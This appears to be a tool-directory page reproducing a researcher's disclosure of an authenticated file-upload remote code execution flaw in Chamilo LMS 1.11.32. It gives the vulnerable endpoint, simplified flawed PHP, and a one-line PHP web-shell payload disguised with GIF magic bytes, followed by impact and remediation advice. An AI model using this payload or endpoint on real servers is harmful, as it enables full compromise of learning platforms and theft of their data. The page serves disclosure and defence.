Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/kx00007/cve-2026-29041
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubkx00007/cve-2026-29041

CVE-2026-29041

Hi, I’m K, This is my first CVE, which is a Remote Code Execution (RCE) vulnerability. It is the beginning of my journey as a security researcher.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29041 — Authenticated RCE via Unrestricted File Upload in Chamilo LMS 1.11.32

Authenticated Remote Code Execution in Chamilo LMS 1.11.32 via improper file upload validation in the ck_uploadimage AJAX endpoint. A low-privileged student can upload a PHP web shell disguised as an image, achieving full server compromise.


📋 Vulnerability Summary

FieldDetails
ProductChamilo LMS
Version1.11.32 (Confirmed)
VulnerabilityUnrestricted File Upload with Dangerous Type (CWE-434)
ImpactAuthenticated Remote Code Execution (RCE)
CVSS v3.18.8 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Auth Required✅ Yes — Student role (Low Privilege)
CWECWE-434: Unrestricted Upload of File with Dangerous Type
Discover ByMENG HOKSENG

🧠 Vulnerability Details

Affected Endpoint

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

Vulnerable File: main/inc/ajax/document.ajax.php
Vulnerable Function: ck_uploadimage

Root Cause Analysis

The upload handler performs only MIME-type validation using PHP's mime_content_type() function, which inspects the file's magic bytes (first few bytes of content), not the file extension.

root@kitploit:~
// Vulnerable validation logic (simplified)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("Invalid file type");
}

// ❌ No extension validation
// ❌ No sanitization of filename
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

Two separate weaknesses combine into a full exploitation chain:

  1. MIME-type only validation — bypassed by prepending valid image magic bytes (GIF89a) to PHP code
  2. Original filename preserved — the server stores the file using the attacker-controlled filename including the .php extension, in a web-accessible directory

Bypass Technique

A malicious file is crafted as follows:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type() reads GIF89a → classifies as image/gif → passes validation
  • move_uploaded_file() saves as shell.php in /app/upload/users/<id>/ → directly executable via browser

💣 Proof of Concept

Run full exploit that log in as student to perform file upload automatically image After running python full exploit, we can find our uploaded web shell at http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id image

🛡️ Impact

Successful exploitation of this vulnerability results in full server compromise from a student-level account:

  • 🔴 Remote Code Execution — arbitrary OS commands via web shell
  • 🔴 Data Exfiltration — full access to application database credentials and files
  • 🔴 Lateral Movement — pivot to internal network from compromised server
  • 🔴 Persistence — ability to plant backdoors in web-accessible directories
  • 🔴 Service Disruption — modification or deletion of course content and user data

CIA Impact: Complete loss of Confidentiality, Integrity, and Availability.


🔧 Remediation

▪ Enforce strict file extension allowlisting Only explicitly permitted image file extensions (e.g., .jpg, .png, .gif) should be accepted. Uploaded files with executable extensions such as .php, .phtml, or .phar must be rejected regardless of MIME type.

▪ Do not rely solely on MIME-type validation MIME-type checks using functions such as mime_content_type() should not be used as the primary security control, as they can be bypassed using crafted file headers. MIME validation should only be used as a secondary check.

▪ Store uploaded files outside of web-accessible directories Uploaded content should be stored in a directory that is not directly accessible via the web server. If public access is required, files should be served through a controlled handler rather than direct access.

📄 References

  • Chamilo LMS Official Site
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • OWASP: Unrestricted File Upload
  • CVSS v3.1 Calculator

👤 Author

MENG HOKSENG
Independent Security Researcher


⚠️ Legal Disclaimer

This project is released for educational and authorized security research purposes only. The author is not responsible for any misuse or damage caused by this exploit. Always obtain explicit written authorization before performing security assessments.

Download Tool